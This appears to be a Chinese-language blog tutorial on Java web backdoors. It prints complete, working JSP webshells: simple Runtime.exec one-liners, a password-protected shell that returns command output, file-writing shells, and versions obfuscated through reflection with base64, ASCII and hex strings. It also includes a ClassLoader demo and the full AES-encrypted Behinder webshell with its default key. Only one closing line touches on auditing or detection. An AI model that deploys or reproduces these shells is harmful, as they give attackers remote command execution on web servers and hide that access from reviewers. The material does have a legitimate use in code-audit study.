
文章目录
Java Web后门
Java 是强类型语言,不能够像 PHP 那样利用字符串组合当作系统函数使用
Java 中常用的命令执行函数
- java.lang.Runtime.exec()
- java.lang.ProcessBuilder.start()
一句话木马
最简单的 jsp 一句话木马
<% Runtime.getRuntime().exec(request.getParameter("i"));%>
其实这就和 PHP 的一句话一样
<?PHP eval($GET_['i']);?>
但是 jsp 一句话没有回显,无法看到返回的信息,通常用来反弹 shell,下面的代码是一个有回显并且需要密码验证的 jsp 木马
<%
if ("ocean".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
}
%>

Runtime 类封装了运行时的环境。每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。使用 getRuntime() 构建 Runtime 类实例。 getRuntime() 返回与当前 Java 应用程序相关的运行时对象。获取实例后调用 exec() 方法执行系统命令
request 为 JSP 内置对象,getParameter() 方法获取请求参数 cmd的值构建命令
其中:HTML里的 pre 标签,可定义预格式化的文本。在 pre 元素中的文本会保留空格和换行符。文本显现为等宽字体,经常会在要保持文本格式的时候使用 pre 标签,比如当我们要展示源代码的时候,只要放一个 pre 标签,然后把源代码直接复制,粘贴,然后在页面上就可以保持好格式。不会像放在其它标签里那样,把换行和空格都自动折叠了
执行效果如下

Windows 操作系统中可能会带来乱码问题,可以在文件头加上以下两句解决
<%@ page contentType="text/html;charset=GBK"%>
<%@ page contentType="text/html;charset=gb2312"%>
当然除了把数据回显也可以写入执行文件中
<%new java.io.FileOutputStream(request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%>
或者写入 web 目录
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%>
这种是最简单的一句话,审计时很容易被发现
反射调用
因为反射可以调用各种私有类方法,所以利用反射的后门比较多
<%@page contentType="text/html; charset=UTF-8" language="java" %>
<%@page import="sun.misc.BASE64Decoder" %>
<%@page import="java.lang.reflect.Method" %>
<%
BASE64Decoder base64Decoder = new BASE64Decoder();
Class runtime = Class.forName(new String(base64Decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
Process method = (Process) runtime.getMethod(new String(base64Decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(runtime.getMethod(new String(base64Decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new Object[] {
}), request.getParameter("cmd"));
java.io.InputStream in = method.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
%>
重点就是这段代码

去掉 base64 就是以下代码
Class runtime = Class.forName("java.lang.Runtime");
Process method = (Process) runtime.getMethod("exec",String.class).invoke(runtime.getMethod("getRuntime").invoke(null, new Object[]{}), request.getParameter("cmd"));
非常经典的反射
没有直接使用调用方法的方式去构造后门,而是采用动态加载的方式,把所要调用的类与函数放到一个字符串的位置,然后利用变形来隐藏关键函数,这里用的是 base64,同理可以使用 hex 和 ascii 的编码绕过
Acsii
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
}
%>
Hex
<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
}
%>
类加载(冰蝎马实现方式)
对于类加载是直接传送二进制的字节码(动态解析)
java 执行代码的时候要先编译成 .class 字节码的文件才能被 jvm 所执行。如果实现任意 class 文件的加载,相当于实现了 php 中 eval 命令执行函数,即可以做到将字符串作为代码来执行
Demo
-
新建文件 Calc.java 首先写一个命令执行的类,调用 calc
import java.io.IOException; public class Calc { @Override public String toString() { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return "OK"; } }然后使用命令编译生成字节码文件
javac .Calc.java
-
主运行程序类 Loader
import sun.misc.BASE64Decoder; import sun.misc.BASE64Encoder; import java.io.File; import java.io.FileInputStream; public class Loader { //实现二进制文件转成base64 public static String encodeBase64File(String path) throws Exception { File file = new File(path); ; FileInputStream inputFile = new FileInputStream(file); byte[] buffer = new byte[(int) file.length()]; inputFile.read(buffer); inputFile.close(); return new BASE64Encoder().encode(buffer); } public static class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) throws Exception { String classStr = "yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMb2JmdXNjYXRlL0NhbGM7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAeAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACgALBwAjDAAkACUBAAhjYWxjLmV4ZQwAJgAnAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAKAALAQACT0sBAA5vYmZ1c2NhdGUvQ2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACAAJAAAAAAACAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAABAAOAAAADAABAAAABQAPABAAAAABABEAEgABAAwAAABtAAIAAgAAABS4AAISA7YABFenAAhMK7YABhIHsAABAAAACQAMAAUAAwANAAAAFgAFAAAACAAJAAsADAAJAA0ACgARAAwADgAAABYAAgANAAQAEwAUAAEAAAAUAA8AEAAAABUAAAAHAAJMBwAWBAABABcAAAACABg="; // Calc.class的base64编码 BASE64Decoder code = new sun.misc.BASE64Decoder(); // String re = encodeBase64File("C:\Users\q2723\Desktop\Calc.class"); // System.out.println(re); Class result = new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数 System.out.println(result.newInstance().toString()); } }注意修改 class 文件所在位置

成功执行系统命令

代码重点就在红框中,正常情况下,Java 并没有提供直接解析 class 字节数组的接口。不过 classloader 内部实现了一个 protected 的 defineClass 方法,可以将 byte[] 直接转换为 Class,因为该方法是 protected 的,我们没办法在外部直接调用,可以通过直接自定义一个类继承 classloader,然后在子类中调用父类的 defineClass 方法
这样传入的二进制字节码 class 文件直接就加载执行了,真的有点 PHP EVAL 的感觉了
这个 Demo 就是冰蝎实现服务端(即上传到目标机器的 jsp 马)的原型,具体可以看这篇文章:利用动态二进制加密实现新型一句话木马之Java篇
作者在进行简化成了一行,这就是现在用的冰蝎的 jsp 马,具有动态解密功能的、能解析执行任意二进制流的新型一句话木马
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
对于此类后门通常采用后门扫描工具检测,人工审计时要关注加密函数 BASE64Decoder() 以及 SecretKeySpec()
ELSE
-
JDK 新特性
利用 Lambda 表达式编写的 JSP 一句话木马
访问接口中的默认方法 Reduce 来编写 JSP 一句话木马
-
各种表达式
-
内存马
可以看参考文章,其中提及了很多方式
参考
《Java 代码审计入门》

本文探讨了Java Web后门,包括一句话木马的原理和实现,通过反射调用和类加载的方式详细解释了后门的创建。重点介绍了如何使用Runtime.exec()和ProcessBuilder.start()执行系统命令,以及通过自定义ClassLoader实现动态加载和执行字节码文件,类似于PHP的eval功能。此外,提到了JDK新特性和Lambda表达式在创建后门中的应用。

1593

被折叠的 条评论
为什么被折叠?



